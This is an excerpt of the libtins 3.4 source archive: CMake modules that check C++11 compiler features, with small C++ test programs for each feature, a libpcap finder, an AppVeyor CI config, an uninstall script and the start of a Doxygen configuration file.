HAS_CXX11_VARIADIC_TEMPLATES - variadic templates #============================================================================= # Copyright 2011,2012 Rolf Eike Beer # Copyright 2012 Andreas Weis # # Distributed under the OSI-approved BSD License (the "License"); # see accompanying file Copyright.txt for details. # # This software is distributed WITHOUT ANY WARRANTY; without even the # implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the License for more information. #============================================================================= # (To distribute this file outside of CMake, substitute the full # License text for the above reference.) # # Each feature may have up to 3 checks, every one of them in it's own file # FEATURE.cpp - example that must build and return 0 when run # FEATURE_fail.cpp - example that must build, but may not return 0 when run # FEATURE_fail_compile.cpp - example that must fail compilation # # The first one is mandatory, the latter 2 are optional and do not depend on # each other (i.e. only one may be present). # if (NOT CMAKE_CXX_COMPILER_LOADED) message(FATAL_ERROR "CheckCXX11Features modules only works if language CXX is enabled") endif () cmake_minimum_required(VERSION 2.8.3) # ### Check for needed compiler flags # include(CheckCXXCompilerFlag) check_cxx_compiler_flag("-std=c++11" _HAS_CXX11_FLAG) if (NOT _HAS_CXX11_FLAG) check_cxx_compiler_flag("-std=c++0x" _HAS_CXX0X_FLAG) endif () if (_HAS_CXX11_FLAG) set(CXX11_COMPILER_FLAGS "-std=c++11") elseif (_HAS_CXX0X_FLAG) set(CXX11_COMPILER_FLAGS "-std=c++0x") endif () function(cxx11_check_feature FEATURE_NAME RESULT_VAR) if (NOT DEFINED ${RESULT_VAR}) set(_bindir "${CMAKE_CURRENT_BINARY_DIR}/cxx_${FEATURE_NAME}") set(_SRCFILE_BASE ${CMAKE_CURRENT_LIST_DIR}/CheckCXXFeatures/cxx-test-${FEATURE_NAME}) set(_LOG_NAME "\"${FEATURE_NAME}\"") message(STATUS "Checking C++ support for ${_LOG_NAME}") set(_SRCFILE "${_SRCFILE_BASE}.cpp") set(_SRCFILE_FAIL "${_SRCFILE_BASE}_fail.cpp") set(_SRCFILE_FAIL_COMPILE "${_SRCFILE_BASE}_fail_compile.cpp") if (CROSS_COMPILING) try_compile(${RESULT_VAR} "${_bindir}" "${_SRCFILE}" COMPILE_DEFINITIONS "${CXX11_COMPILER_FLAGS}") if (${RESULT_VAR} AND EXISTS ${_SRCFILE_FAIL}) try_compile(${RESULT_VAR} "${_bindir}_fail" "${_SRCFILE_FAIL}" COMPILE_DEFINITIONS "${CXX11_COMPILER_FLAGS}") endif (${RESULT_VAR} AND EXISTS ${_SRCFILE_FAIL}) else (CROSS_COMPILING) try_run(_RUN_RESULT_VAR _COMPILE_RESULT_VAR "${_bindir}" "${_SRCFILE}" COMPILE_DEFINITIONS "${CXX11_COMPILER_FLAGS}") if (_COMPILE_RESULT_VAR AND NOT _RUN_RESULT_VAR) set(${RESULT_VAR} TRUE) else (_COMPILE_RESULT_VAR AND NOT _RUN_RESULT_VAR) set(${RESULT_VAR} FALSE) endif (_COMPILE_RESULT_VAR AND NOT _RUN_RESULT_VAR) if (${RESULT_VAR} AND EXISTS ${_SRCFILE_FAIL}) try_run(_RUN_RESULT_VAR _COMPILE_RESULT_VAR "${_bindir}_fail" "${_SRCFILE_FAIL}" COMPILE_DEFINITIONS "${CXX11_COMPILER_FLAGS}") if (_COMPILE_RESULT_VAR AND _RUN_RESULT_VAR) set(${RESULT_VAR} TRUE) else (_COMPILE_RESULT_VAR AND _RUN_RESULT_VAR) set(${RESULT_VAR} FALSE) endif (_COMPILE_RESULT_VAR AND _RUN_RESULT_VAR) endif (${RESULT_VAR} AND EXISTS ${_SRCFILE_FAIL}) endif (CROSS_COMPILING) if (${RESULT_VAR} AND EXISTS ${_SRCFILE_FAIL_COMPILE}) try_compile(_TMP_RESULT "${_bindir}_fail_compile" "${_SRCFILE_FAIL_COMPILE}" COMPILE_DEFINITIONS "${CXX11_COMPILER_FLAGS}") if (_TMP_RESULT) set(${RESULT_VAR} FALSE) else (_TMP_RESULT) set(${RESULT_VAR} TRUE) endif (_TMP_RESULT) endif (${RESULT_VAR} AND EXISTS ${_SRCFILE_FAIL_COMPILE}) if (${RESULT_VAR}) message(STATUS "Checking C++ support for ${_LOG_NAME}: works") else (${RESULT_VAR}) message(STATUS "Checking C++ support for ${_LOG_NAME}: not supported") endif (${RESULT_VAR}) set(${RESULT_VAR} ${${RESULT_VAR}} CACHE INTERNAL "C++ support for ${_LOG_NAME}") endif (NOT DEFINED ${RESULT_VAR}) endfunction(cxx11_check_feature) #cxx11_check_feature("regex" HAS_CXX11_LIB_REGEX) #cxx11_check_feature("__func__" HAS_CXX11_FUNC) #cxx11_check_feature("auto" HAS_CXX11_AUTO) #cxx11_check_feature("auto_ret_type" HAS_CXX11_AUTO_RET_TYPE) #cxx11_check_feature("class_override_final" HAS_CXX11_CLASS_OVERRIDE) #cxx11_check_feature("constexpr" HAS_CXX11_CONSTEXPR) #cxx11_check_feature("cstdint" HAS_CXX11_CSTDINT_H) #cxx11_check_feature("lambda" HAS_CXX11_LAMBDA) #cxx11_check_feature("long_long" HAS_CXX11_LONG_LONG) #cxx11_check_feature("nullptr" HAS_CXX11_NULLPTR) #cxx11_check_feature("sizeof_member" HAS_CXX11_SIZEOF_MEMBER) #cxx11_check_feature("static_assert" HAS_CXX11_STATIC_ASSERT) #cxx11_check_feature("variadic_templates" HAS_CXX11_VARIADIC_TEMPLATES) cxx11_check_feature("decltype" HAS_CXX11_DECLTYPE) cxx11_check_feature("declval" HAS_CXX11_DECLVAL) cxx11_check_feature("initializer_list" HAS_CXX11_INITIALIZER_LIST) cxx11_check_feature("rvalue-references" HAS_CXX11_RVALUE_REFERENCES) cxx11_check_feature("functional" HAS_CXX11_FUNCTIONAL) cxx11_check_feature("chrono" HAS_CXX11_CHRONO) cxx11_check_feature("builtin-swap" HAS_GCC_BUILTIN_SWAP) libtins-3.4/cmake/Modules/CheckCXXFeatures/000077500000000000000000000000001267017344500206245ustar00rootroot00000000000000libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-__func__.cpp000066400000000000000000000001311267017344500246270ustar00rootroot00000000000000int main(void) { if (!__func__) return 1; if (!(*__func__)) return 1; return 0; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-auto.cpp000066400000000000000000000002451267017344500240560ustar00rootroot00000000000000 int main() { auto i = 5; auto f = 3.14159f; auto d = 3.14159; bool ret = ( (sizeof(f) < sizeof(d)) && (sizeof(i) == sizeof(int)) ); return ret ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-auto_fail_compile.cpp000066400000000000000000000001261267017344500265570ustar00rootroot00000000000000int main(void) { // must fail because there is no initializer auto i; return 0; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-auto_ret_type.cpp000066400000000000000000000001121267017344500257620ustar00rootroot00000000000000auto foo(int i) -> int { return i - 1; } int main() { return foo(1); } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-builtin-swap.cpp000066400000000000000000000003641267017344500255260ustar00rootroot00000000000000#include int main() { uint16_t u16 = __builtin_bswap16(0x9812U); uint32_t u32 = __builtin_bswap32(0x9812ad81U); uint64_t u64 = __builtin_bswap64(0x9812ad81f61a890dU); return (u16 > 0 && u32 > 0 && u64 > 0) ? 0 : 1; }libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-chrono.cpp000066400000000000000000000003451267017344500243770ustar00rootroot00000000000000#include using namespace std::chrono; int main() { system_clock::time_point tp = system_clock::now(); milliseconds ms = duration_cast(tp.time_since_epoch()); return (ms.count() > 0) ? 0 : 1; }libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-class_override_final.cpp000066400000000000000000000005011267017344500272560ustar00rootroot00000000000000class base { public: virtual int foo(int a) { return 4 + a; } int bar(int a) final { return a - 2; } }; class sub final : public base { public: virtual int foo(int a) override { return 8 + 2 * a; }; }; int main(void) { base b; sub s; return (b.foo(2) * 2 == s.foo(2)) ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-class_override_final_fail_compile.cpp000066400000000000000000000005721267017344500317710ustar00rootroot00000000000000class base { public: virtual int foo(int a) { return 4 + a; } virtual int bar(int a) final { return a - 2; } }; class sub final : public base { public: virtual int foo(int a) override { return 8 + 2 * a; }; virtual int bar(int a) { return a; } }; class impossible : public sub { }; int main(void) { base b; sub s; return 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-constexpr.cpp000066400000000000000000000003741267017344500251360ustar00rootroot00000000000000constexpr int square(int x) { return x*x; } constexpr int the_answer() { return 42; } int main() { int test_arr[square(3)]; bool ret = ( (square(the_answer()) == 1764) && (sizeof(test_arr)/sizeof(test_arr[0]) == 9) ); return ret ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-cstdint.cpp000066400000000000000000000002631267017344500245560ustar00rootroot00000000000000#include int main() { bool test = (sizeof(int8_t) == 1) && (sizeof(int16_t) == 2) && (sizeof(int32_t) == 4) && (sizeof(int64_t) == 8); return test ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-decltype.cpp000066400000000000000000000002101267017344500247070ustar00rootroot00000000000000bool check_size(int i) { return sizeof(int) == sizeof(decltype(i)); } int main() { bool ret = check_size(42); return ret ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-declval.cpp000066400000000000000000000007341267017344500245230ustar00rootroot00000000000000// Example code taken from http://en.cppreference.com/w/cpp/utility/declval #include #include struct Default { int foo() const { return 1; } }; struct NonDefault { NonDefault(const NonDefault&) { } int foo() const { return 1; } }; int main() { decltype(Default().foo()) n1 = 1; // type of n1 is int decltype(std::declval().foo()) n2 = n1; // type of n2 is int return (n1 == 1 && n2 == 1) ? 0 : 1; }libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-functional.cpp000066400000000000000000000003511267017344500252460ustar00rootroot00000000000000#include int add(int x, int y) { return x + y; } int main() { std::function func; func = std::bind(&add, std::placeholders::_1, std::placeholders::_2); return (func(2, 2) == 4) ? 0 : 1; }libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-initializer_list.cpp000066400000000000000000000005401267017344500264620ustar00rootroot00000000000000#include class seq { public: seq(std::initializer_list list); int length() const; private: std::vector m_v; }; seq::seq(std::initializer_list list) : m_v(list) { } int seq::length() const { return m_v.size(); } int main(void) { seq a = {18, 20, 2, 0, 4, 7}; return (a.length() == 6) ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-lambda.cpp000066400000000000000000000001121267017344500243170ustar00rootroot00000000000000int main() { int ret = 0; return ([&ret]() -> int { return ret; })(); } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-long_long.cpp000066400000000000000000000001631267017344500250630ustar00rootroot00000000000000int main(void) { long long l; unsigned long long ul; return ((sizeof(l) >= 8) && (sizeof(ul) >= 8)) ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-nullptr.cpp000066400000000000000000000000731267017344500246050ustar00rootroot00000000000000int main(void) { void *v = nullptr; return v ? 1 : 0; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-nullptr_fail_compile.cpp000066400000000000000000000000611267017344500273050ustar00rootroot00000000000000int main(void) { int i = nullptr; return 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-regex.cpp000066400000000000000000000020041267017344500242130ustar00rootroot00000000000000#include #include int parse_line(std::string const& line) { std::string tmp; if(std::regex_search(line, std::regex("(\\s)+(-)?(\\d)+//(-)?(\\d)+(\\s)+"))) { tmp = std::regex_replace(line, std::regex("(-)?(\\d)+//(-)?(\\d)+"), std::string("V")); } else if(std::regex_search(line, std::regex("(\\s)+(-)?(\\d)+/(-)?(\\d)+(\\s)+"))) { tmp = std::regex_replace(line, std::regex("(-)?(\\d)+/(-)?(\\d)+"), std::string("V")); } else if(std::regex_search(line, std::regex("(\\s)+(-)?(\\d)+/(-)?(\\d)+/(-)?(\\d)+(\\s)+"))) { tmp = std::regex_replace(line, std::regex("(-)?(\\d)+/(-)?(\\d)+/(-)?(\\d)+"), std::string("V")); } else { tmp = std::regex_replace(line, std::regex("(-)?(\\d)+"), std::string("V")); } return static_cast(std::count(tmp.begin(), tmp.end(), 'V')); } int main() { bool test = (parse_line("f 7/7/7 -3/3/-3 2/-2/2") == 3) && (parse_line("f 7//7 3//-3 -2//2") == 3) && (parse_line("f 7/7 3/-3 -2/2") == 3) && (parse_line("f 7 3 -2") == 3); return test ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-rvalue-references.cpp000066400000000000000000000015231267017344500265230ustar00rootroot00000000000000#include class rvmove { public: void *ptr; char *array; rvmove() : ptr(0), array(new char[10]) { ptr = this; } rvmove(rvmove &&other) : ptr(other.ptr), array(other.array) { other.array = 0; other.ptr = 0; } ~rvmove() { assert(((ptr != 0) && (array != 0)) || ((ptr == 0) && (array == 0))); delete[] array; } rvmove &operator=(rvmove &&other) { delete[] array; ptr = other.ptr; array = other.array; other.array = 0; other.ptr = 0; return *this; } static rvmove create() { return rvmove(); } private: rvmove(const rvmove &); rvmove &operator=(const rvmove &); }; int main() { rvmove mine; if (mine.ptr != &mine) return 1; mine = rvmove::create(); if (mine.ptr == &mine) return 1; return 0; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-sizeof_member.cpp000066400000000000000000000003401267017344500257300ustar00rootroot00000000000000struct foo { char bar; int baz; }; int main(void) { bool ret = ( (sizeof(foo::bar) == 1) && (sizeof(foo::baz) >= sizeof(foo::bar)) && (sizeof(foo) >= sizeof(foo::bar) + sizeof(foo::baz)) ); return ret ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-sizeof_member_fail.cpp000066400000000000000000000001441267017344500267250ustar00rootroot00000000000000struct foo { int baz; double bar; }; int main(void) { return (sizeof(foo::bar) == 4) ? 0 : 1; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-static_assert.cpp000066400000000000000000000001351267017344500257540ustar00rootroot00000000000000int main(void) { static_assert(0 < 1, "your ordering of integers is screwed"); return 0; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-static_assert_fail_compile.cpp000066400000000000000000000001351267017344500304570ustar00rootroot00000000000000int main(void) { static_assert(1 < 0, "your ordering of integers is screwed"); return 0; } libtins-3.4/cmake/Modules/CheckCXXFeatures/cxx-test-variadic_templates.cpp000066400000000000000000000005311267017344500267440ustar00rootroot00000000000000int Accumulate() { return 0; } template int Accumulate(T v, Ts... vs) { return v + Accumulate(vs...); } template int CountElements() { return sizeof...(Is); } int main() { int acc = Accumulate(1, 2, 3, 4, -5); int count = CountElements<1,2,3,4,5>(); return ((acc == 5) && (count == 5)) ? 0 : 1; } libtins-3.4/cmake/Modules/FindPCAP.cmake000066400000000000000000000054731267017344500200640ustar00rootroot00000000000000# - Try to find libpcap include dirs and libraries # # Usage of this module as follows: # # find_package(PCAP) # # Variables used by this module, they can change the default behaviour and need # to be set before calling find_package: # # PCAP_ROOT_DIR Set this variable to the root installation of # libpcap if the module has problems finding the # proper installation path. # # Variables defined by this module: # # PCAP_FOUND System has libpcap, include and library dirs found # PCAP_INCLUDE_DIR The libpcap include directories. # PCAP_LIBRARY The libpcap library (possibly includes a thread # library e.g. required by pf_ring's libpcap) # HAVE_PF_RING If a found version of libpcap supports PF_RING # HAVE_PCAP_IMMEDIATE_MODE If the version of libpcap found supports immediate mode find_path(PCAP_ROOT_DIR NAMES include/pcap.h ) find_path(PCAP_INCLUDE_DIR NAMES pcap.h HINTS ${PCAP_ROOT_DIR}/include ) set (HINT_DIR ${PCAP_ROOT_DIR}/lib) # On x64 windows, we should look also for the .lib at /lib/x64/ # as this is the default path for the WinPcap developer's pack if (${CMAKE_SIZEOF_VOID_P} EQUAL 8 AND WIN32) set (HINT_DIR ${PCAP_ROOT_DIR}/lib/x64/ ${HINT_DIR}) endif () find_library(PCAP_LIBRARY NAMES pcap wpcap HINTS ${HINT_DIR} ) include(FindPackageHandleStandardArgs) find_package_handle_standard_args(PCAP DEFAULT_MSG PCAP_LIBRARY PCAP_INCLUDE_DIR ) include(CheckCXXSourceCompiles) set(CMAKE_REQUIRED_LIBRARIES ${PCAP_LIBRARY}) check_cxx_source_compiles("int main() { return 0; }" PCAP_LINKS_SOLO) set(CMAKE_REQUIRED_LIBRARIES) # check if linking against libpcap also needs to link against a thread library if (NOT PCAP_LINKS_SOLO) find_package(Threads) if (THREADS_FOUND) set(CMAKE_REQUIRED_LIBRARIES ${PCAP_LIBRARY} ${CMAKE_THREAD_LIBS_INIT}) check_cxx_source_compiles("int main() { return 0; }" PCAP_NEEDS_THREADS) set(CMAKE_REQUIRED_LIBRARIES) endif (THREADS_FOUND) if (THREADS_FOUND AND PCAP_NEEDS_THREADS) set(_tmp ${PCAP_LIBRARY} ${CMAKE_THREAD_LIBS_INIT}) list(REMOVE_DUPLICATES _tmp) set(PCAP_LIBRARY ${_tmp} CACHE STRING "Libraries needed to link against libpcap" FORCE) else (THREADS_FOUND AND PCAP_NEEDS_THREADS) message(FATAL_ERROR "Couldn't determine how to link against libpcap") endif (THREADS_FOUND AND PCAP_NEEDS_THREADS) endif (NOT PCAP_LINKS_SOLO) include(CheckFunctionExists) set(CMAKE_REQUIRED_LIBRARIES ${PCAP_LIBRARY}) check_function_exists(pcap_get_pfring_id HAVE_PF_RING) check_function_exists(pcap_set_immediate_mode HAVE_PCAP_IMMEDIATE_MODE) set(CMAKE_REQUIRED_LIBRARIES) mark_as_advanced( PCAP_ROOT_DIR PCAP_INCLUDE_DIR PCAP_LIBRARY ) libtins-3.4/cmake/appveyor.yml000066400000000000000000000025031267017344500165050ustar00rootroot00000000000000version: 1.0.{build} configuration: - debug - release platform: - Win32 - x64 clone_depth: 1 install: - git clone https://github.com/mfontanini/winpcap-installer.git - cd winpcap-installer - winpcap-boundary-meter-4.1.3.exe /S - cd .. - appveyor DownloadFile http://www.winpcap.org/install/bin/WpdPack_4_1_2.zip - 7z x .\WpdPack_4_1_2.zip -oc:\ - git submodule init - git submodule update before_build: - mkdir build - cd build - if "%platform%"=="x64" ( set GENERATOR="Visual Studio 12 Win64" ) else ( set GENERATOR="Visual Studio 12" ) - cmake .. -G %GENERATOR% -DPCAP_ROOT_DIR=c:\WpdPack -DLIBTINS_BUILD_SHARED=0 -DLIBTINS_ENABLE_WPA2=0 build: project: C:/projects/libtins/build/libtins.sln verbosity: minimal after_build: - mkdir install\libtins\include - mkdir install\libtins\lib - cd install\libtins - copy C:\projects\libtins\build\lib\%Configuration%\tins.lib lib - xcopy C:\projects\libtins\include include /s /e - del include\CMakeLists.txt - del include\tins\CMakeLists.txt - del include\tins\config.h.in - del include\tins\dot11\CMakeLists.txt - cd ..\ - 7z a libtins-%platform%-%Configuration%.zip libtins test_script: - cd c:\projects\libtins\build - ctest -C %Configuration% -V deploy_script: - ps: Push-AppveyorArtifact "install\libtins-$env:Platform-$env:Configuration.zip" skip_commits: message: /Update documentation.*/ libtins-3.4/cmake/cmake_uninstall.cmake.in000066400000000000000000000021451267017344500206770ustar00rootroot00000000000000# Taken from https://cmake.org/Wiki/CMake_FAQ#Can_I_do_.22make_uninstall.22_with_CMake.3F if(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") message(FATAL_ERROR "Cannot find install manifest: @CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") endif(NOT EXISTS "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt") file(READ "@CMAKE_CURRENT_BINARY_DIR@/install_manifest.txt" files) string(REGEX REPLACE "\n" ";" files "${files}") foreach(file ${files}) message(STATUS "Uninstalling $ENV{DESTDIR}${file}") if(IS_SYMLINK "$ENV{DESTDIR}${file}" OR EXISTS "$ENV{DESTDIR}${file}") exec_program( "@CMAKE_COMMAND@" ARGS "-E remove \"$ENV{DESTDIR}${file}\"" OUTPUT_VARIABLE rm_out RETURN_VALUE rm_retval ) if(NOT "${rm_retval}" STREQUAL 0) message(FATAL_ERROR "Problem when removing $ENV{DESTDIR}${file}") endif(NOT "${rm_retval}" STREQUAL 0) else(IS_SYMLINK "$ENV{DESTDIR}${file}" OR EXISTS "$ENV{DESTDIR}${file}") message(STATUS "File $ENV{DESTDIR}${file} does not exist.") endif(IS_SYMLINK "$ENV{DESTDIR}${file}" OR EXISTS "$ENV{DESTDIR}${file}") endforeach(file)libtins-3.4/cmake/libtinsConfig.cmake.in000066400000000000000000000011351267017344500203160ustar00rootroot00000000000000# - Config file for the libtins package # It defines the following variables # LIBTINS_INCLUDE_DIRS - include directories for libtins # LIBTINS_LIBRARIES - libraries to link against # Compute paths get_filename_component(LIBTINS_CMAKE_DIR "${CMAKE_CURRENT_LIST_FILE}" PATH) set(LIBTINS_INCLUDE_DIRS "@CONF_INCLUDE_DIRS@") # Our library dependencies (contains definitions for IMPORTED targets) if(NOT TARGET libtins AND NOT LIBTINS_BINARY_DIR) include("${LIBTINS_CMAKE_DIR}/libtinsTargets.cmake") endif() # These are IMPORTED targets created by libtinsTargets.cmake set(LIBTINS_LIBRARIES tins) libtins-3.4/cmake/libtinsConfigVersion.cmake.in000066400000000000000000000006071267017344500216670ustar00rootroot00000000000000set(PACKAGE_VERSION "@LIBTINS_VERSION@") # Check whether the requested PACKAGE_FIND_VERSION is compatible if("${PACKAGE_VERSION}" VERSION_LESS "${PACKAGE_FIND_VERSION}") set(PACKAGE_VERSION_COMPATIBLE FALSE) else() set(PACKAGE_VERSION_COMPATIBLE TRUE) if ("${PACKAGE_VERSION}" VERSION_EQUAL "${PACKAGE_FIND_VERSION}") set(PACKAGE_VERSION_EXACT TRUE) endif() endif() libtins-3.4/docs/000077500000000000000000000000001267017344500137655ustar00rootroot00000000000000libtins-3.4/docs/Doxyfile.in000066400000000000000000002050661267017344500161110ustar00rootroot00000000000000# Doxyfile 1.7.1 # This file describes the settings to be used by the documentation system # doxygen (www.doxygen.org) for a project # # All text after a hash (#) is considered a comment and will be ignored # The format is: # TAG = value [value, ...] # For lists items can also be appended using: # TAG += value [value, ...] # Values that contain spaces should be placed between quotes (" ") #--------------------------------------------------------------------------- # Project related configuration options #--------------------------------------------------------------------------- # This tag specifies the encoding used for all characters in the config file # that follow. The default is UTF-8 which is also the encoding used for all # text before the first occurrence of this tag. Doxygen uses libiconv (or the # iconv built into libc) for the transcoding. See # http://www.gnu.org/software/libiconv for the list of possible encodings. DOXYFILE_ENCODING = UTF-8 # The PROJECT_NAME tag is a single word (or a sequence of words surrounded # by quotes) that should identify the project. PROJECT_NAME = libtins # The PROJECT_NUMBER tag can be used to enter a project or revision number. # This could be handy for archiving the generated documentation or # if some version control system is used. PROJECT_NUMBER = @LIBTINS_VERSION@ # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) # base path where the generated documentation will be put. # If a relative path is entered, it will be relative to the location # where doxygen was started. If left blank the current directory will be used. OUTPUT_DIRECTORY = @CMAKE_CURRENT_BINARY_DIR@/docs/ # If the CREATE_SUBDIRS tag is set to YES, then doxygen will create # 4096 sub-directories (in 2 levels) under the output directory of each output # format and will distribute the generated files over these directories. # Enabling this option can be useful when feeding doxygen a huge amount of # source files, where putting all generated files in the same directory would # otherwise cause performance problems for the file system. CREATE_SUBDIRS = YES # The OUTPUT_LANGUAGE tag is used to specify the language in which all # documentation generated by doxygen is written. Doxygen will use this # information to generate all constant output in the proper language. # The default language is English, other supported languages are: # Afrikaans, Arabic, Brazilian, Catalan, Chinese, Chinese-Traditional, # Croatian, Czech, Danish, Dutch, Esperanto, Farsi, Finnish, French, German, # Greek, Hungarian, Italian, Japanese, Japanese-en (Japanese with English # messages), Korean, Korean-en, Lithuanian, Norwegian, Macedonian, Persian, # Polish, Portuguese, Romanian, Russian, Serbian, Serbian-Cyrilic, Slovak, # Slovene, Spanish, Swedish, Ukrainian, and Vietnamese. OUTPUT_LANGUAGE = English # If the BRIEF_MEMBER_DESC tag is set to YES (the default) Doxygen will # include brief member descriptions after the members that are listed in # the file and class documentation (similar to JavaDoc). # Set to NO to disable this. BRIEF_MEMBER_DESC = YES # If the REPEAT_BRIEF tag is set to YES (the default) Doxygen will prepend # the brief description of a member or function before the detailed description. # Note: if both HIDE_UNDOC_MEMBERS and BRIEF_MEMBER_DESC are set to NO, the # brief descriptions will be completely suppressed. REPEAT_BRIEF = YES # This tag implements a quasi-intelligent brief description abbreviator # that is used to form the text in various listings. Each string # in this list, if found as the leading text of the brief description, will be # stripped from the text and the result after processing the whole list, is # used as the annotated text. Otherwise, the brief description is used as-is. # If left blank, the following values are used ("$name" is automatically # replaced with the name of the entity): "The $name class" "The $name widget" # "The $name file" "is" "provides" "specifies" "contains" # "represents" "a" "an" "the" ABBREVIATE_BRIEF = # If the ALWAYS_DETAILED_SEC and REPEAT_BRIEF tags are both set to YES then # Doxygen will generate a detailed section even if there is only a brief # description. ALWAYS_DETAILED_SEC = NO # If the INLINE_INHERITED_MEMB tag is set to YES, doxygen will show all # inherited members of a class in the documentation of that class as if those # members were ordinary class members. Constructors, destructors and assignment # operators of the base classes will not be shown. INLINE_INHERITED_MEMB = NO # If the FULL_PATH_NAMES tag is set to YES then Doxygen will prepend the full # path before files name in the file list and in the header files. If set # to NO the shortest path that makes the file name unique will be used. FULL_PATH_NAMES = YES # If the FULL_PATH_NAMES tag is set to YES then the STRIP_FROM_PATH tag # can be used to strip a user-defined part of the path. Stripping is # only done if one of the specified strings matches the left-hand part of # the path. The tag can be used to show relative paths in the file list. # If left blank the directory from which doxygen is run is used as the # path to strip. STRIP_FROM_PATH = # The STRIP_FROM_INC_PATH tag can be used to strip a user-defined part of # the path mentioned in the documentation of a class, which tells # the reader which header file to include in order to use a class. # If left blank only the name of the header file containing the class # definition is used. Otherwise one should specify the include paths that # are normally passed to the compiler using the -I flag. STRIP_FROM_INC_PATH = # If the SHORT_NAMES tag is set to YES, doxygen will generate much shorter # (but less readable) file names. This can be useful is your file systems # doesn't support long names like on DOS, Mac, or CD-ROM. SHORT_NAMES = NO # If the JAVADOC_AUTOBRIEF tag is set to YES then Doxygen # will interpret the first line (until the first dot) of a JavaDoc-style # comment as the brief description. If set to NO, the JavaDoc # comments will behave just like regular Qt-style comments # (thus requiring an explicit @brief command for a brief description.) JAVADOC_AUTOBRIEF = NO # If the QT_AUTOBRIEF tag is set to YES then Doxygen will # interpret the first line (until the first dot) of a Qt-style # comment as the brief description. If set to NO, the comments # will behave just like regular Qt-style comments (thus requiring # an explicit \brief command for a brief description.) QT_AUTOBRIEF = NO # The MULTILINE_CPP_IS_BRIEF tag can be set to YES to make Doxygen # treat a multi-line C++ special comment block (i.e. a block of //! or /// # comments) as a brief description. This used to be the default behaviour. # The new default is to treat a multi-line C++ comment block as a detailed # description. Set this tag to YES if you prefer the old behaviour instead. MULTILINE_CPP_IS_BRIEF = NO # If the INHERIT_DOCS tag is set to YES (the default) then an undocumented # member inherits the documentation from any documented member that it # re-implements. INHERIT_DOCS = YES # If the SEPARATE_MEMBER_PAGES tag is set to YES, then doxygen will produce # a new page for each member. If set to NO, the documentation of a member will # be part of the file/class/namespace that contains it. SEPARATE_MEMBER_PAGES = NO # The TAB_SIZE tag can be used to set the number of spaces in a tab. # Doxygen uses this value to replace tabs by spaces in code fragments. TAB_SIZE = 4 # This tag can be used to specify a number of aliases that acts # as commands in the documentation. An alias has the form "name=value". # For example adding "sideeffect=\par Side Effects:\n" will allow you to # put the command \sideeffect (or @sideeffect) in the documentation, which # will result in a user-defined paragraph with heading "Side Effects:". # You can put \n's in the value part of an alias to insert newlines. ALIASES = # Set the OPTIMIZE_OUTPUT_FOR_C tag to YES if your project consists of C # sources only. Doxygen will then generate output that is more tailored for C. # For instance, some of the names that are used will be different. The list # of all members will be omitted, etc. OPTIMIZE_OUTPUT_FOR_C = NO # Set the OPTIMIZE_OUTPUT_JAVA tag to YES if your project consists of Java # sources only. Doxygen will then generate output that is more tailored for # Java. For instance, namespaces will be presented as packages, qualified # scopes will look different, etc. OPTIMIZE_OUTPUT_JAVA = NO # Set the OPTIMIZE_FOR_FORTRAN tag to YES if your project consists of Fortran # sources only. Doxygen will then generate output that is more tailored for # Fortran. OPTIMIZE_FOR_FORTRAN = NO # Set the OPTIMIZE_OUTPUT_VHDL tag to YES if your project consists of VHDL # sources. Doxygen will then generate output that is tailored for # VHDL. OPTIMIZE_OUTPUT_VHDL = NO # Doxygen selects the parser to use depending on the extension of the files it # parses. With this tag you can assign which parser to use for a given extension. # Doxygen has a built-in mapping, but you can override or extend it using this # tag. The format is ext=language, where ext is a file extension, and language # is one of the parsers supported by doxygen: IDL, Java, Javascript, CSharp, C, # C++, D, PHP, Objective-C, Python, Fortran, VHDL, C, C++. For instance to make # doxygen treat .inc files as Fortran files (default is PHP), and .f files as C # (default is Fortran), use: inc=Fortran f=C. Note that for custom extensions # you also need to set FILE_PATTERNS otherwise the files are not read by doxygen. EXTENSION_MAPPING = # If you use STL classes (i.e. std::string, std::vector, etc.) but do not want # to include (a tag file for) the STL sources as input, then you should # set this tag to YES in order to let doxygen match functions declarations and # definitions whose arguments contain STL classes (e.g. func(std::string); v.s. # func(std::string) {}). This also make the inheritance and collaboration # diagrams that involve STL classes more complete and accurate. BUILTIN_STL_SUPPORT = NO # If you use Microsoft's C++/CLI language, you should set this option to YES to # enable parsing support. CPP_CLI_SUPPORT = NO # Set the SIP_SUPPORT tag to YES if your project consists of sip sources only. # Doxygen will parse them like normal C++ but will assume all classes use public # instead of private inheritance when no explicit protection keyword is present. SIP_SUPPORT = NO # For Microsoft's IDL there are propget and propput attributes to indicate getter # and setter methods for a property. Setting this option to YES (the default) # will make doxygen to replace the get and set methods by a property in the # documentation. This will only work if the methods are indeed getting or # setting a simple type. If this is not the case, or you want 